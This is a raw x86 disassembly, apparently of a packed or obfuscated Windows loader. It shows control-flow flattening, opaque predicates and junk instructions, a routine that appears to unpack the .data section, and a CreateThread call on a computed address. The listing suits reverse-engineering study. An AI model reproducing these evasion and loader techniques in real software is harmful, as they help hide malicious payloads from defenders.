and eax, 0xe090a02
mov edx, ecx
or edx, 0x8030d128
and esi, 0xc1f2d53c
and ecx, 0x300420c1
and edx, 0xc1f2d53c
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xb034f1e9
and ecx, 0x4fcb0e16
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7c767278
and ecx, 0x83898d87
or eax, ecx
mov ecx, eax
xor ecx, 0x40647248
xor eax, 0x18c05
and eax, 0x3c138c35
and ecx, 0xc3ec73ca
or ecx, eax
xor ecx, 0xc3ec73ca
sete al
setne cl
cmp dword [0x477980], 0xa
setl dl
xor cl, dl
or al, dl
mov edx, ecx
mov ch, cl
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, eax
mov ah, al
xor al, cl
xor cl, 1
xor dl, 1
and ah, cl
and ch, dl
or dl, cl
xor dl, 1
or ch, ah
or dl, al
mov eax, 0xff31bfc8
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0x16740ca7
cmovne eax, edx
test ch, ch
not cl
cmove eax, edx
test cl, 1
mov edx, 0xff31bfc8
cmovne eax, edx
jmp 0x402340
cmp dword [ebp - 0x194], 0
mov eax, 0x78d97611
mov ecx, 0x3b8b168c
cmovns eax, ecx
jmp 0x402340
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0xf4], eax
mov eax, 0x18e2ede3
jmp 0x402340
mov eax, dword [ebp - 0x80]
mov esi, 0xc1577a6c
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x15c], eax
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xdfb5b0a7
and eax, 0x204a4f58
or eax, ecx
xor eax, 0x204a4f59
or eax, edx
cmp eax, 0xffffffff
sete cl
cmp dword [0x477980], 0xa
setl dl
mov eax, edx
or dl, cl
xor al, cl
xor dl, 1
or dl, al
mov ecx, edx
xor cl, al
xor al, 1
or al, dl
mov ah, cl
xor ah, al
test cl, cl
mov ecx, 0xcc6b58ed
cmovne ecx, esi
test al, al
not ah
cmovne ecx, esi
test ah, 1
mov eax, 0xcc6b58ed
jmp 0x40cb4d
mov eax, dword [ebp - 0xa0]
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xc00c0f00
and eax, 0x14412085
mov edx, ecx
and edx, 0x29825012
or ecx, 0x69840712
or esi, edx
and ecx, 0x6bb4877a
mov edx, esi
xor edx, 0x80080800
xor esi, 0x2bb0807a
or eax, ecx
and esi, 0x6bb4877a
and edx, 0x800a5800
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xe98e5f12
and ecx, 0x1671a0ed
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xc32d97d
and eax, 0xf3cd2682
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x308c3b3a
mov esi, ecx
and esi, 0xcf73c4c5
or edx, esi
mov esi, eax
xor esi, 0x308c2202
xor eax, 0xc32d97c
or ecx, eax
and eax, 0xcf73c4c5
and esi, 0x308c3b3a
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x1b64273c
mov eax, ecx
not eax
and ecx, 0xc8a42000
mov edx, eax
and edx, 0x20152a9
and eax, 0x355a8d56
or ecx, edx
xor ecx, 0xc8a42000
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd14461da
and ecx, 0x2ebb9e25
or eax, ecx
xor eax, 0x2ebb9e25
sete dl
setne al
cmp dword [0x477980], 0xa
setge cl
setl ah
mov ch, cl
or cl, al
xor ch, al
xor al, ah
not al
and ch, dl
mov edx, ecx
and al, ah
not dl
or al, ch
mov ah, al
and al, cl
xor ah, 1
and dl, ah
or ah, cl
or dl, al
mov cl, ah
xor cl, dl
test ah, ah
mov eax, 0xf39f6fdb
cmovne eax, esi
test dl, dl
mov edx, 0xf39f6fdb
cmove eax, esi
test cl, cl
cmove eax, edx
jmp 0x402340
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, eax
not ecx
and eax, 0x2bffb756
and ecx, 0xd40048a9
or ecx, eax
mov edx, ecx
mov esi, ecx
xor edx, 0x2af5b752
xor esi, 0xd40048a9
xor ecx, 0x22532712
mov eax, esi
and esi, 0x150a0825
and edx, 0xeaf5f7da
or eax, 0x40000000
and ecx, 0x26536fb2
or edx, esi
mov edi, eax
and edi, 0x99ac904d
mov esi, edx
xor esi, 0x22516792
xor edx, 0x550a0825
or ecx, edi
or eax, edx
and edx, 0x99ac904d
and esi, 0x66536fb2
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
xor ecx, 0x1e617ee8
mov edx, eax
not edx
mov edi, eax
or edi, 0xe0000012
and ecx, eax
and edi, 0xea416632
and edx, 0x142018c8
mov esi, ecx
not esi
and ecx, 0x15be99cd
or edx, edi
or eax, esi
and esi, 0xea416632
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xe19e8117
and eax, 0x1e617ee8
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5e9d04a8
mov edx, ecx
and edx, 0xa162fb57
or eax, edx
xor eax, 0xa162fb57
xor ecx, eax
test ecx, eax
mov eax, 0x155e615
setne byte [ebp - 0x8e]
jmp 0x402340
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xa0], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x7c], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x5c]
mov dword [eax], ecx
rcl ebx, 0xec
sub edi, 0x6b
imul esi
ror ebx, 0x99
neg ebx
dec edx
rol ebx, 0x8d
rol ebx, 0x8b
bswap esi
dec edi
dec esi
rol edx, 7
not edx
mov edi, 0x86
neg eax
rcr ebx, 0xdd
sub edi, 0xad
sbb edx, 0x95
rcr eax, 0x81
rcl esi, 0xb7
rcr edi, 0xbf
neg eax
inc ebx
or esi, 0xbb
add eax, 0x47
rcl edx, 0x6d
dec edx
add edi, 0xdf
neg esi
dec edx
inc esi
sub esi, 0x89
dec eax
inc esi
ror edi, 9
dec eax
inc ebx
imul eax
dec edi
inc edx
rcl edx, 0x5c
dec eax
ror eax, 0x4a
bswap esi
bswap esi
sub esi, 0x8d
inc edx
imul esi
bswap ebx
sbb edi, 0xcd
mov esi, 0xf9
sbb ebx, 0xed
sbb edx, 0xfc
neg eax
inc edi
bswap ebx
neg esi
inc esi
rcr ebx, 0xdc
sbb esi, 0x36
rcl edx, 4
neg eax
rol edi, 0xbe
sbb edi, 0xe3
neg ebx
or edi, 0x4c
inc esi
imul edi
sub esi, 0xea
not edi
not edx
not eax
dec ebx
ror esi, 0x28
inc ebx
imul ebx
ror edx, 0x79
dec ebx
bswap edi
neg eax
neg edi
not eax
bswap edi
rcl eax, 0x20
imul eax
neg esi
neg eax
imul eax
neg ebx
imul edi
neg edx
mov ebx, 0x81
bswap esi
not edi
bswap eax
dec esi
bswap edi
not ebx
ror edi, 0xfe
or ebx, 0x84
neg edx
sbb ebx, 0xdf
sub edx, 0xca
not edi
sub eax, 0x21
neg esi
rcr ebx, 0x82
inc ebx
inc edx
ror edi, 0x27
inc edi
inc eax
ror edi, 0x90
sbb esi, 0x32
sbb eax, 0xa0
rcr eax, 0xd8
mov esi, 0x6d
bswap edi
ror esi, 0xc9
bswap esi
inc ebx
rol edi, 0x91
dec esi
bswap ebx
imul ebx
rcr eax, 0x54
bswap esi
neg esi
dec esi
rcr ebx, 0x6e
imul edi
inc edi
neg esi
dec esi
bswap eax
and esi, 0xbf
sbb esi, 0x2b
dec ebx
dec eax
sbb esi, 0x45
and esi, 0xbc
rcr edi, 0x8e
bswap edx
neg ebx
sub ebx, 0x1c
neg eax
dec ebx
sub ebx, 0x48
rol edx, 0xac
dec esi
ror esi, 0x6f
bswap edi
rol edi, 0x58
not edi
and eax, 0x9f
not ebx
rol eax, 0xb0
add esi, 0x31
rol edx, 0xaf
sub edx, 0x7b
sbb ebx, 0xd6
imul edi
bswap eax
or esi, 0xc
neg ebx
inc edi
dec edx
neg esi
bswap ebx
rcr eax, 0xdb
sbb edx, 0x11
inc eax
ror edi, 5
ror eax, 0xc0
and esi, 0xe
dec eax
neg edi
sbb edx, 0xc9
neg edx
ror edx, 0xdf
rcr edx, 0x14
rol edx, 0x84
or eax, 0x98
add edi, 0xc1
mov eax, 0x86
bswap eax
ror edi, 0xde
or edi, 0x2d
rcl eax, 0x8f
sub edi, 0x30
dec eax
sbb eax, 0xe6
or ebx, 0x39
or esi, 0x1e
not esi
imul esi
imul ebx
mov ebx, 0xd6
sub ebx, 0xd2
neg edx
imul esi
rcr edi, 0xd1
dec ebx
rol edi, 0x86
and edx, 0xff
and ebx, 0x44
neg edi
dec esi
or edx, 0x78
rol ebx, 0xf0
not edx
mov ebx, 0x52
neg ebx
neg edx
not esi
add edx, 0x79
bswap ebx
inc esi
not eax
neg edi
not ebx
sbb ebx, 0x97
inc edx
mov eax, 0x78
rcr ebx, 0xb4
imul ebx
bswap ebx
imul eax
mov ebx, 0x1e
inc edx
dec edi
imul esi
neg edi
mov esi, 0x94
mov eax, 0x92
sbb ebx, 0xb0
rcr edx, 0x8b
imul ebx
not ebx
sub edx, 0x99
not eax
bswap ebx
bswap edi
rcr eax, 0x54
bswap edx
bswap esi
and edi, 0xfb
inc edx
add edx, 0xa
not edx
bswap edi
sbb eax, 0x4e
sbb esi, 0x24
rcl eax, 0x5c
rcr eax, 0x49
dec edx
or esi, 0xe8
sbb edx, 0xb4
sbb edx, 0x89
neg edx
rol esi, 0x6c
add edx, 0xc5
and eax, 0x22
or edx, 0xbc
mov ebx, 0x2f
sbb edx, 0xee
sub eax, 0xbf
sbb ebx, 0x4d
ror esi, 0x84
sub eax, 0x22
rcr edx, 0x3e
sbb ebx, 0x2d
and ebx, 0x1b
mov edx, 0x46
rcl ebx, 0xfb
imul edx
rcr esi, 0x96
bswap esi
dec ebx
sub edx, 0x7e
or edx, 0x31
sbb edx, 0x92
ror eax, 0x12
or ebx, 0
neg esi
bswap esi
bswap eax
rcl ebx, 0xe
dec eax
neg eax
imul esi
rol edx, 0xba
rol edx, 0xf6
rcl edi, 0xdd
bswap edx
sub esi, 0x2c
and ebx, 0x89
dec ebx
add edi, 0xab
not esi
add edx, 0xa9
neg eax
neg edi
or edx, 0xb5
inc ebx
imul eax
neg edx
imul eax
or eax, 0x45
neg esi
rol edx, 0x63
imul eax
or edx, 0xea
ror edi, 0x45
imul ebx
neg eax
add esi, 0x73
rol esi, 0x36
mov eax, 0x1c
ror edi, 0xe4
imul esi
ror edi, 0x9a
neg eax
inc eax
dec edx
rcr edx, 0xf2
inc eax
inc eax
bswap ebx
inc eax
add edi, 0x14
not edi
rol edx, 0xd5
inc ebx
imul edi
imul eax
neg esi
rcr ebx, 2
mov esi, 0xf3
rcr eax, 0x17
inc esi
add eax, 0xc4
bswap edx
mov edx, 0x9c
neg ebx
not ebx
and ebx, 0xdb
not edx
rol esi, 0xd7
not eax
bswap ebx
inc edi
inc edx
or eax, 0x8a
rcl esi, 0x86
neg eax
sub eax, 0x4c
add ebx, 0xc5
inc ebx
not esi
imul ebx
sbb edi, 0x12
inc edi
dec ebx
add eax, 3
and edi, 0xe8
imul ebx
neg eax
sub edx, 3
rol esi, 0x75
not esi
and eax, 0x5c
add esi, 0x37
rcl edi, 0xc5
rol eax, 0xb7
inc esi
neg edi
add ebx, 0xf4
not eax
bswap ebx
inc eax
add esi, 0xb0
imul esi
inc edi
neg eax
sub edi, 1
mov eax, 0x97
imul eax
ror edi, 0xd7
and eax, 0xa
mov edx, 0xf7
neg edi
dec ebx
imul edi
or eax, 0xc5
neg edi
dec ebx
or eax, 0x41
dec eax
bswap ebx
add esi, 0x67
or esi, 0xad
add edx, 0x47
rcl eax, 0xe2
rcr esi, 0x95
and esi, 0x12
imul ebx
or esi, 0x43
rcr edx, 0xeb
ror ebx, 0x83
not edi
not ebx
and ebx, 0x71
ror edi, 0xfc
inc eax
sub edx, 0x22
inc edi
ror esi, 0xbb
and edx, 0xca
ror edx, 0xc8
imul esi
sbb eax, 0x72
imul edx
neg ebx
dec edx
and ebx, 0x16
add ebx, 0x63
mov ebx, 0x34
bswap eax
and edx, 0x12
rol esi, 0x87
add eax, 0x94
mov esi, 0x5a
not ebx
imul eax
ror edx, 0x78
dec ebx
rcr esi, 0x33
not edx
imul edi
add ebx, 0x32
imul ebx
mov edx, 0xd
bswap edx
not ebx
not esi
mov edx, 0x78
neg edi
neg edx
inc esi
sub ebx, 0xc0
inc ebx
bswap ebx
and esi, 0xf8
dec ebx
dec ebx
bswap eax
bswap eax
not edi
neg esi
and ebx, 0x90
rol ebx, 0xcc
add ebx, 0x4a
or ebx, 0x3c
neg ebx
rcr eax, 0xe6
sub ebx, 0xd8
bswap edx
mov eax, 0x90
or eax, 0xeb
sbb eax, 0x7e
inc edi
sbb eax, 0x5c
sbb ebx, 0x77
dec edi
inc esi
inc edi
or eax, 0x6a
not edx
inc edx
not edi
imul ebx
sub ebx, 0xe5
imul esi
dec ebx
sub eax, 0xa2
rol eax, 0xbe
rcr esi, 0x4a
rcl esi, 0xb
not edx
and esi, 0x97
dec edx
rcl ebx, 0xa9
rol edi, 0x82
sub esi, 0x3a
neg esi
not edi
rol ebx, 0x67
sbb eax, 0xf8
sub ebx, 0x6c
dec ebx
dec eax
imul eax
mov esi, 0x9d
imul edi
neg esi
rcl eax, 0xa8
inc esi
rcr esi, 0x44
rol edi, 0x2a
sbb eax, 0x9e
not ebx
sub esi, 0x89
and ebx, 0xb3
add ebx, 0x4b
rcl edx, 0x2f
rcl edx, 0x76
and eax, 0x89
sbb edx, 0xbc
bswap eax
rcr esi, 0xf6
rol esi, 0xb2
neg edi
not esi
rcr edx, 0xa
sub esi, 0x83
not eax
sbb ebx, 0x73
inc ebx
rol ebx, 0x41
dec esi
not edi
rcl edi, 0xda
sub edx, 0xd2
rcr ebx, 0x93
imul ebx
sub edi, 0x8c
dec edx
dec edi
and edx, 0xb3
imul edx
dec edx
inc esi
imul eax
imul esi
neg ebx
imul eax
dec edi
not edi
bswap edx
not eax
dec ebx
add edx, 0x13
or edx, 0x43
rcl ebx, 3
not ebx
bswap esi
bswap edi
inc eax
add esi, 0x7c
sbb esi, 0x27
rol eax, 0xd8
and eax, 0xe
or ebx, 0xb7
or eax, 0x68
ror eax, 0xee
not edi
rcl eax, 0x33
inc edi
rol edi, 0xe3
not edx
not esi
neg edi
dec eax
neg edx
mov ebx, 7
sbb esi, 0xef
bswap esi
mov eax, 0x99
inc ebx
or ebx, 0x73
rcl ebx, 8
imul edi
sbb edx, 0x3b
sub edi, 0x42
neg eax
ror esi, 0xdd
rcl edx, 0xff
rcl edx, 0x4f
sbb edx, 0x9e
mov esi, 0x92
dec edi
sbb edi, 0xd4
rcl edx, 0xdd
mov edx, 0x91
sbb ebx, 0x5f
rcl edx, 0xa9
rol esi, 0x11
mov edi, 0x4e
rol ebx, 0x29
mov dword [ebp - 0x1c], eax
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
xor esi, 0x579110cc
not eax
mov edx, eax
and esi, ecx
and edx, 0x579110cc
and ecx, 0xe1a8fdd0
and eax, 0x1e57022f
or edx, esi
not esi
or eax, ecx
and esi, 0xa86eef32
and edx, 0x579110cd
or edx, esi
mov esi, edx
not esi
and edx, 0x1e57022f
mov edi, esi
and edi, 0xe1a8fdd0
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xe298d376
setne ah
sete dl
cmp dword [0x477980], 0xa
mov cl, ah
setge al
setl ch
xor cl, ch
and ah, ch
mov ch, al
xor ch, dl
and ch, al
and al, dl
or al, ah
or al, ch
mov edx, eax
or al, cl
xor dl, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0xe78a198a
cmovne eax, esi
test dl, dl
not cl
mov edx, 0xe78a198a
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402340
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov esi, eax
xor esi, 0x88d41dff
not ecx
mov edx, ecx
and esi, eax
and edx, 0x88d41dff
and ecx, 0x29536bec
and eax, 0xd6ac9412
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x772be201
xor eax, 0xd6ac9412
and esi, 0x88d41dfe
or edx, esi
mov esi, 0xad03fb9f
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xc830a120
and eax, 0x33055e96
and ecx, 0x4ca0049
or edx, ecx
xor edx, 0xc830a120
or eax, edx
mov ecx, eax
not ecx
and eax, 0x4359ff2f
and ecx, 0xbca600d0
or eax, ecx
xor eax, 0x8fa35e46
setne dl
sete ah
cmp dword [0x477980], 0xa
mov ecx, edx
setl ch
setge al
and dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
and al, ah
and cl, ch
or al, dl
mov edx, ecx
mov ch, cl
xor dl, 1
and dl, al
xor al, 1
xor ch, al
and al, cl
and ch, cl
or al, dl
mov edx, 0x5432225b
mov cl, ch
xor cl, al
test cl, 1
jmp 0x40c0b6
cmp byte [ebp - 0x8d], 0
mov eax, 0x150044b5
mov ecx, 0x8a038b15
cmovne eax, ecx
jmp 0x402340
mov eax, dword [0x477984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
and esi, 0x40000038
mov eax, ecx
or eax, 0xb7ffbec4
and ecx, 0xecad202a
mov edi, eax
and edi, 0xa8b9c507
or esi, edi
mov edi, edx
xor edi, 0xb7ffbec4
andn edi, edx, edi
or edx, 1
mov ebx, edi
not ebx
and edi, 0x57463af8
or eax, ebx
and ebx, 0xa8b9c507
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
and eax, 0xddb96b2c
and esi, 0x224694d3
or eax, esi
mov esi, eax
xor esi, 0x84a92002
xor eax, 0x6a46d5e9
mov edi, eax
or eax, edx
and edx, 0x1352dfd4
and edi, 0x1352dfd4
and esi, 0xecad202b
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x25c8a120
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x410e5423
mov edx, ecx
and edx, 0x80208000
and ecx, 0x3ed12bdc
or eax, edx
xor eax, 0x410e5423
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xb83fc4d4
mov edx, eax
and edx, 0x47c03b2b
or ecx, edx
xor ecx, 0xb83fc4d4
or ecx, eax
xor ecx, 0xffffffff
setne al
sete dl
cmp dword [0x477980], 0xa
setl ch
setge ah
mov cl, ch
and al, ch
xor ch, dl
and ah, dl
or cl, dl
or al, ah
xor cl, 1
or cl, ch
mov ch, cl
mov edx, ecx
xor ch, 1
and dl, ch
xor dl, 1
or dl, ch
xor dl, 1
or dl, cl
mov ah, dl
and dl, al
xor al, 1
xor ah, 1
and ah, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd8b7d8e1
cmovne ecx, esi
test al, al
mov eax, 0xd8b7d8e1
jmp 0x40b780
mov eax, 0x2bf1f9a4
jmp 0x402340
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xc
mov eax, 0x3407a83a
jmp 0x402340
rcr eax, 0x88
rcr esi, 0xbc
or ebx, 0x72
add ebx, 0x56
or edi, 0x2c
rol esi, 0xbd
not edi
dec ebx
inc edi
sub edx, 0xdb
or edi, 0x90
rcr ebx, 0xc4
bswap esi
sub edi, 0x5b
add ebx, 0x56
rcl esi, 0xc7
neg esi
imul edx
dec edi
bswap eax
mov edi, 0x39
sbb eax, 0x30
mov esi, 0x6c
not eax
not eax
not ebx
sub ebx, 0x45
inc edi
ror eax, 0x27
not ebx
inc edi
inc esi
neg edx
imul edx
imul eax
bswap eax
rcl eax, 0xcd
bswap esi
add edi, 0x32
bswap ebx
neg esi
not edx
bswap eax
and edi, 0x9e
or edi, 0x78
inc edx
inc edx
ror edx, 0xf
rcr eax, 0x1c
dec ebx
inc eax
neg eax
and eax, 0x4a
and eax, 0x55
or esi, 0xc9
add edx, 0x16
not ebx
add ebx, 0xc0
neg edx
not edi
rcr edx, 0x8a
inc edi
inc ebx
not esi
mov esi, 0xf9
add edx, 0x33
add edi, 0xce
dec edx
inc eax
not eax
ror ebx, 0x6d
ror eax, 0xed
neg edx
rol ebx, 0xc6
rcl ebx, 0x91
ror eax, 0x52
neg eax
inc edx
rcl ebx, 8
mov ebx, 0xb2
add esi, 0x36
neg edx
inc eax
inc ebx
rcr eax, 0
ror eax, 0x2e
rol edx, 0xbf
not esi
ror edx, 0x7b
imul esi
dec esi
inc edx
neg eax
mov edi, 0x10
sbb edi, 0x9d
ror edi, 0xaa
sub edi, 0x3e
dec edi
not ebx
imul esi
rcr ebx, 0x82
rol ebx, 0x31
dec eax
imul edi
inc edi
not edx
bswap edx
ror eax, 0xe9
sbb ebx, 0x77
not esi
rol edi, 0x10
or eax, 0x58
sub edx, 0xcd
mov esi, 0xdf
rcr esi, 0x13
not esi
sbb edx, 0x28
and esi, 0xac
sbb esi, 0x1f
imul ebx
mov edi, 0x5e
rcl esi, 0xdc
sbb edx, 0x2e
neg ebx
rcl edi, 0x50
mov ebx, 0x32
inc ebx
dec eax
mov ebx, 0xd5
imul edx
dec ebx
and eax, 0x7a
imul eax
rol ebx, 0xb6
add edx, 0x32
sub edi, 0x47
rcr ebx, 0xd3
sub esi, 0xf5
not edx
dec esi
imul edx
add edi, 0xbf
and edx, 0x45
sbb ebx, 0xb
neg edi
rcr edx, 0x83
not edx
add edi, 0xa9
add edx, 0x8d
inc ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov eax, 0x77d1f75c
jmp 0x402340
mov eax, 0xb07b8456
jmp 0x402340
push 0x1b600
push section..data
vzeroupper
call section..text
add esp, 8
mov eax, dword [ebp - 0x5c]
mov dword [eax], section..data
dec edi
sbb edi, 0xdd
imul ebx
or ebx, 0xd7
not esi
bswap esi
dec esi
neg edx
neg edi
neg esi
dec edx
and edi, 0x37
bswap ebx
mov eax, 0xf9
dec eax
sub edx, 0xf6
or esi, 0xdc
dec eax
dec esi
neg edi
neg edi
bswap ebx
neg edx
dec eax
not edx
bswap ebx
bswap edx
inc eax
bswap edi
dec esi
dec edi
dec edx
sub edx, 0xc1
inc esi
sbb edx, 0xc0
neg esi
ror edx, 1
neg edx
dec edx
rcr esi, 0x1d
sub edx, 0x1a
or edx, 0xb6
neg ebx
ror esi, 0x8c
not esi
inc ebx
rcr eax, 0xcd
imul ebx
not edi
not edi
add eax, 0x12
bswap ebx
inc ebx
imul ebx
sub edi, 0xe3
sbb esi, 0x60
imul ebx
sub ebx, 0x33
dec edi
inc esi
ror eax, 0x4c
imul esi
and ebx, 0xd7
or edx, 0xcd
bswap edi
sbb edx, 0xd9
not edx
add ebx, 0x30
sub ebx, 0x80
or ebx, 0x88
imul edx
ror eax, 0x56
neg edi
bswap edx
bswap edi
not edi
rcl ebx, 0xfb
imul ebx
imul esi
dec edx
add eax, 0x6b
inc edx
rol edx, 0x26
imul esi
add edi, 7
rcl esi, 0xcc
dec eax
sub edx, 0xa1
sub edi, 0xef
and edi, 0x65
inc edi
and edx, 0xfd
bswap eax
bswap eax
bswap esi
ror edi, 0x73
inc edx
dec edi
sbb esi, 0x52
inc eax
rcr edx, 0xf7
sub edi, 0xca
ror edx, 0xbd
not ebx
dec ebx
not edi
inc edx
dec ebx
ror ebx, 0x81
inc edi
neg eax
sub ebx, 0x43
ror eax, 0x9a
imul edi
bswap edx
rcr ebx, 0xdb
neg esi
inc edx
dec ebx
sbb ebx, 0xe6
not ebx
and edx, 0xe9
not ebx
dec eax
neg edi
sbb ebx, 0xa3
mov esi, 0xa1
not edx
and edx, 0xf1
imul eax
rcr ebx, 0xe0
neg eax
rcr esi, 0x28
sub esi, 0x36
rol edi, 0x50
imul esi
inc edi
bswap ebx
bswap edx
rol esi, 0x1f
rcr edi, 0x18
not esi
or edx, 0xa8
ror eax, 0x15
and edi, 0x92
rcr eax, 2
rcr edx, 0xa8
rol eax, 0x74
sub eax, 0xc0
neg esi
or edi, 0xbc
mov eax, 0x43
mov esi, 0xda
and esi, 0x28
and esi, 0xe6
rol edi, 0xdd
dec ebx
ror esi, 0x3a
rcr ebx, 0xff
mov ebx, 0xb
ror edx, 0xd4
imul edi
neg esi
inc ebx
neg eax
dec eax
imul edx
inc edx
rcr edx, 0x79
sub edx, 0xe7
not ebx
sub esi, 0x89
imul eax
rol edi, 0xa1
inc ebx
neg eax
bswap ebx
sbb ebx, 0x94
dec edx
inc ebx
mov eax, 0x30
inc esi
dec edx
neg edi
imul ebx
rcl eax, 0x88
dec edi
imul edx
dec ebx
imul esi
and eax, 0xd
not ebx
rol eax, 0x56
neg edx
bswap edi
rcl esi, 0x6d
rcl edx, 0x1b
not esi
ror edx, 0xba
and esi, 0x62
or eax, 0x7c
inc ebx
imul ebx
neg edx
rcr edi, 0x5c
sub esi, 0xa3
rcl esi, 0x67
and eax, 0x36
mov edx, 0x61
neg eax
mov eax, 0xb4
sbb esi, 0x48
sub edi, 0xdf
bswap ebx
neg eax
rol esi, 0
inc ebx
dec ebx
sub edi, 0x63
or edx, 0x5e
inc edx
add eax, 0x16
rcl esi, 0x11
sbb edx, 0xe4
rcl edi, 0x75
rol edx, 0x31
neg edx
sbb esi, 0xd1
imul eax
not edx
rol esi, 0xc0
rcr eax, 0x6b
rcl esi, 0x2b
add eax, 0x7b
ror esi, 0x91
bswap eax
mov eax, 0xf0
add edx, 0xb4
ror edx, 0xdc
inc eax
neg edi
sbb esi, 0xf3
bswap ebx
inc esi
rcl edi, 0xf4
dec esi
imul esi
bswap ebx
or eax, 0x91
bswap eax
bswap eax
dec ebx
dec eax
and esi, 0x37
ror ebx, 0x81
ror edi, 0xea
not eax
dec eax
dec edi
mov edx, 0x1b
inc edi
inc ebx
rcl ebx, 0xf7
dec eax
sub eax, 0xc9
rcl eax, 0xda
dec eax
not esi
rcl ebx, 0x70
mov esi, 0xef
rcl edx, 0xa8
rol ebx, 0xbe
or ebx, 0x9b
sub edx, 0xb9
neg ebx
bswap eax
imul eax
bswap edi
mov edx, 0x8c
rcl edi, 0x4a
rol ebx, 0xc9
rol eax, 0xb2
imul esi
dec ebx
inc edi
neg edx
and eax, 0xc0
neg ebx
ror edx, 0x32
rcr ebx, 0xf7
bswap esi
mov ebx, 0xaf
bswap edi
add edx, 0x77
imul edi
bswap esi
neg edx
bswap edi
inc edx
sub ebx, 0xea
sbb ebx, 7
and edx, 0x5a
rcr eax, 0xc0
rcr edi, 0xc1
not edx
add ebx, 0xa9
add ebx, 0x60
or ebx, 0x10
add edx, 0xe0
imul eax
bswap edx
imul edi
rol edx, 0x74
neg edx
neg edx
and edi, 0x14
rcl edx, 0xcf
mov ebx, 0xf8
dec esi
imul esi
ror esi, 0xa7
neg edx
add ebx, 0x95
bswap eax
imul ebx
rol ebx, 0xf8
neg ebx
neg esi
sub eax, 2
sub edi, 0xaf
rol esi, 0x9e
bswap eax
not ebx
